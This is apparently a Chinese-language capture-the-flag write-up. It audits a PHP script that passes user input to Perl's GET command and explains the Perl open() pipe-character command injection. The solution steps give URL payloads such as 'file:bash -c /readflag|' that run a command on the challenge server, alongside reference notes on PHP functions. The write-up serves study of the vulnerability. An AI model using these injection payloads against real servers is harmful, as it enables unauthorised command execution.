目录
代码审计
思路
知识补充
PHP中$_SERVER的详细用法
pathinfo() 函数
str_replace() 函数
escapeshellarg
peal函数中get命令漏洞
Perl中open命令执行(GET)
代码审计
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}
echo $_SERVER["REMOTE_ADDR"];
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>
$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
get请求获取 url值,并使用escapeshellarg函数将输入的url转码。之后shell_exec执行被escapeshellarg转码后的url参数值, 并将命令执行的结果存入data中,在后面的代码中,会将data(也就是这次命令执行的结果)放入我们传入的文件夹中。
$dir = str_replace(".", "", basename($info["dirname"]));
使用str_replace过滤 ., 不允许通过../的方式改变文件传输的位置。
思路
代码审计->尝试ssrf读取到根目录->perl语言中GET命令执行漏洞->构造命令执行payload->获得flag
1.先使用 ?url=/&filename=coleak
2.可以看到flag和readflag文件,flag在readflag里面 所以我们得执行readflag文件才能获得flag
构造以下语句
3.?url=&filename=bash -c /readflag| 创建一个文件夹 文件夹名为命令执行语句 内容为空
4.?url=file:bash -c /readflag|&filename=coleak2 通过命令执行,把执行完readflag获得的值存入到coleak2文件
5.访问/sandbox/md5/coleak2 获得flag
- MD5加密
8bcc93f8583b23816c13f90a45c09f7e
- 访问文件/sandbox/8bcc93f8583b23816c13f90a45c09f7e/coleak
发现readflag文件
- MD5加密
2eeed2f9aeae6311b507ada8fb98809e
- payload
?url=&filename=bash -c /readflag| 创建一个文件夹 文件夹名为命令执行语句 内容为空
?url=file:bash -c /readflag|&filename=coleak2 通过命令执行,把执行完readflag获得的值存入到coleak2文件
访问/sandbox/2eeed2f9aeae6311b507ada8fb98809e/coleak2
获得flag
知识补充
PHP中$_SERVER的详细用法
$_SERVER['PHP_SELF'] #当前正在执行脚本的文件名,与 document root相关。
$_SERVER['argv'] #传递给该脚本的参数。
$_SERVER['argc'] #包含传递给程序的命令行参数的个数(如果运行在命令行模式)。
$_SERVER['GATEWAY_INTERFACE'] #服务器使用的 CGI 规范的版本。例如,“CGI/1.1”。
$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
$_SERVER['SERVER_SOFTWARE'] #服务器标识的字串,在响应请求时的头部中给出。
$_SERVER['SERVER_PROTOCOL'] #请求页面时通信协议的名称和版本。例如,“HTTP/1.0”。
$_SERVER['REQUEST_METHOD'] #访问页面时的请求方法。例如:“GET”、“HEAD”,“POST”,“PUT”。
$_SERVER['QUERY_STRING'] #查询(query)的字符串。
$_SERVER['DOCUMENT_ROOT'] #当前运行脚本所在的文档根目录。在服务器配置文件中定义。
$_SERVER['HTTP_ACCEPT'] #当前请求的 Accept: 头部的内容。
$_SERVER['HTTP_ACCEPT_CHARSET'] #当前请求的 Accept-Charset: 头部的内容。例如:“iso-8859-1,*,utf-8”。
$_SERVER['HTTP_ACCEPT_ENCODING'] #当前请求的 Accept-Encoding: 头部的内容。例如:“gzip”。
$_SERVER['HTTP_ACCEPT_LANGUAGE']#当前请求的 Accept-Language: 头部的内容。例如:“en”。
$_SERVER['HTTP_CONNECTION'] #当前请求的 Connection: 头部的内容。例如:“Keep-Alive”。
$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口。
$_SERVER['SCRIPT_FILENAME'] #当前执行脚本的绝对路径名。
$_SERVER['SERVER_ADMIN'] #管理员信息
$_SERVER['SERVER_PORT'] #服务器所使用的端口
$_SERVER['SERVER_SIGNATURE'] #包含服务器版本和虚拟主机名的字符串。
$_SERVER['PATH_TRANSLATED'] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER['SCRIPT_NAME'] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER['REQUEST_URI'] #访问此页面所需的 URI。例如,“/index.html”。
$_SERVER['PHP_AUTH_USER'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER['PHP_AUTH_PW'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER['AUTH_TYPE'] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型。
$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP
pathinfo() 函数
pathinfo() 函数以数组的形式返回关于文件路径的信息。
返回的数组元素如下:
- [dirname]: 目录路径
- [basename]: 文件名
- [extension]: 文件后缀名
- [filename]: 不包含后缀的文件名
<?php
print_r(pathinfo("/testweb/test.txt"));
?>
上面的代码将输出:
Array ( [dirname] => /testweb [basename] => test.txt [extension] => txt [filename] => test )
如果你只输入比如coleak.txt这样的filename,得到的$info['dirname']
就只是一个点:.
str_replace() 函数
str_replace(find,replace,string,count)
参数 | 描述 |
---|---|
find | 必需。规定要查找的值。 |
replace | 必需。规定替换 find 中的值的值。 |
string | 必需。规定被搜索的字符串。 |
count | 可选。对替换数进行计数的变量。 |
<?php
$arr = array("blue","red","green","yellow");
print_r(str_replace("red","pink",$arr,$i));
echo "替换数:$i";
?>
Array ( [0] => blue [1] => pink [2] => green [3] => yellow ) 替换数:1
escapeshellarg
escapeshellarg() 将给字符串增加一个单引号并且能引用或者转义任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,并且还是确保安全的。对于用户输入的部分参数就应该使用这个函数。
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
peal函数中get命令漏洞
open函数在GET命令被调用时执行,漏洞就存在于open命令对于文件的处理上
关于这个漏洞,外国人有文章,是这样写的:
Perl saw that your “file” ended with a “pipe” character. So it interpreted the “file” as a command to be executed, and interpreted the command’s output as the “file”'s contents. The command is “who” (which prints information on currently logged-in users). If you execute that command, you will see that the output is exactly what the Perl program gave you.
翻译过来意思是:
perl函数看到要打开的文件名中如果以管道符结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。这个命令的执行权限是当前的登录者。如果你执行这个命令,你会看到perl程序运行的结果。
open(F,"id|"); print <F>; //vi test.pl
uid=0(root) gid=0(root) groups=0(root) //perl test.pl
Perl中open命令执行(GET)
- 如果GET后面跟路径
直接获取文件或目录内容
- 使用GET执行命令
GET底层实现使用的是open函数,而open函数可以执行命令,所以我们可以用GET来执行命令
当GET使用file协议的时候就会调用到perl的open函数
PS:必须得满足前面的文件存在才会命令执行,所以我们要创建一个与命令同名的文件